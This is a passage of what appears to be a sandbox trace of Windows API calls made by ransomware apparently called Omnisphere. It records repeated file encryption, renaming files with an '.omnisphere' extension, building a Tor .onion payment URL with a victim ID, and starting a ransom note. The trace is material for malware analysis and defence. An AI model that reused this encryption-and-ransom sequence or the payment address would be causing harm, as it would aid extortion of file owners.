pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.712] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.713] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.714] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.715] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.716] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.718] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0063.718] CryptReleaseContext (hProv=0x163bc18, dwFlags=0x0) returned 1 [0063.718] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x90bb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.718] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.718] GetProcessHeap () returned 0x1600000 [0063.718] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x286) returned 0x165d738 [0063.718] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lx62 boc84mcf_7.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lx62 boc84mcf_7.jpg.omnisphere")) returned 1 [0063.792] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg.omnisphere.id" [0063.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lx62 boc84mcf_7.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.793] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.794] CloseHandle (hObject=0x3a8) returned 1 [0063.795] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.795] CloseHandle (hObject=0x3a4) returned 1 [0063.795] SetEndOfFile (hFile=0x3a0) returned 1 [0063.796] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.737] CloseHandle (hObject=0x3a0) returned 1 [0068.738] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.738] GetProcessHeap () returned 0x1600000 [0068.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165d9c8 [0068.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.738] GetProcessHeap () returned 0x1600000 [0068.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16419a8 [0068.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16419a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.738] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.738] GetProcessHeap () returned 0x1600000 [0068.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fa50 [0068.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fa50, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.738] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.738] GetProcessHeap () returned 0x1600000 [0068.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bec0 [0068.738] PathCombineW (in: pszDest=0x163bec0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.738] GetProcessHeap () returned 0x1600000 [0068.738] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165a2e8 [0068.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: 